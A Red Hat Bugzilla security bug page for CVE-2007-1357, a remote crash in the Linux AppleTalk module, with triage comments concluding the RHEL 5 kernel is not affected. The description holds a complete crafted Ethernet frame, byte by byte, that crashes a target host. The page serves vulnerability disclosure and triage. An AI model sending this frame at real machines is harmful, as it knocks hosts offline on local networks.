Note: This is a beta release of Red Hat Bugzilla 5.0. The data contained within is a snapshot of the live data so any changes you make will not be reflected in the production Bugzilla. Also email is disabled so feel free to test any aspect of the site that you want. File any problems you find or give feedback here.
Bug 235857 - CVE-2007-1357 Remotely triggerable crash in AppleTalk
Summary: CVE-2007-1357 Remotely triggerable crash in AppleTalk
Alias: None
Product: Red Hat Enterprise Linux 5
Classification: Red Hat
Component: kernel
Version: 5.0
Hardware: All
OS: Linux
Target Milestone: ---
: ---
Assignee: Don Zickus
QA Contact: Martin Jenner
Whiteboard: impact=important,source=vendorsec,rep...
Depends On:
TreeView+ depends on / blocked
Reported: 2007-04-10 15:17 UTC by Marcel Holtmann
Modified: 2007-11-30 22:07 UTC (History)
1 user (show)

Fixed In Version:
Doc Type: Bug Fix
Doc Text:
Clone Of:
Last Closed: 2007-06-06 12:34:13 UTC
Target Upstream Version:

Attachments (Terms of Use)

Description Marcel Holtmann 2007-04-10 15:17:53 UTC
When we receive an AppleTalk frame shorter than what its header says, we still
attempt to verify its checksum, and trip on the BUG_ON() at the end of function
atalk_sum_skb() because of the length mismatch.

This has security implications because this can be triggered by simply sending a
specially crafted ethernet frame to a target victim, effectively crashing that
host. Thus this qualifies, I think, as a remote DoS. Here is the frame I used to
trigger the crash, in npg format:

   <Appletalk Killer>
    # Ethernet header -----
      XX XX XX XX XX XX  # Destination MAC
      00 00 00 00 00 00  # Source MAC
      00 1D              # Length
    # LLC header -----
      AA AA 03
      08 00 07 80 9B  # Appletalk
    # Appletalk header -----
      00 1B        # Packet length (invalid)
      00 01        # Fake checksum
      00 00 00 00  # Destination and source networks
      00 00 00 00  # Destination and source nodes and ports
    # Payload -----
      0C 0D 0E 0F 10 11 12 13

The destination MAC address must be set to those of the victim.
The severity is mitigated by two requirements:
* The target host must have the appletalk kernel module loaded. I suspect this
isn't so frequent.
* AppleTalk frames are non-IP, thus I guess they can only travel on local
networks. I am no network expert though, maybe it is possible to somehow
encapsulate AppleTalk packets over IP.

Comment 2 Marcel Holtmann 2007-04-10 22:06:41 UTC
The appletalk.ko kernel module is not build. So the kernel is _NOT_ vulnerable,
but our source RPM contains some weird config files:

# grep ATALK *config*
config-olpc-generic:# CONFIG_ATALK is not set
config-rhel-generic:# CONFIG_ATALK is not set

Can someone explain what happened here?

Comment 3 Don Zickus 2007-04-30 22:04:49 UTC
We treat fedora as the superset for our src.rpms.  This is why ATALK is enabled
in kernel-*.config (because fedora enables it).  For subset kernels, ie rhel or
olpc, we throw down a final set of config options to disable what we don't want
to support.  In the rhel-5 case this would be, config-rhel-generic.  

As you can see above, config-rhel-generic has CONFIG_ATALK disabled.  When we
build the rhel kernel, the final kernel-*.config output has CONFIG_ATALK disabled.

I presume we can close this as NOTABUG because we don't support AppleTalk.

Note You need to log in before you can comment on or make changes to this bug.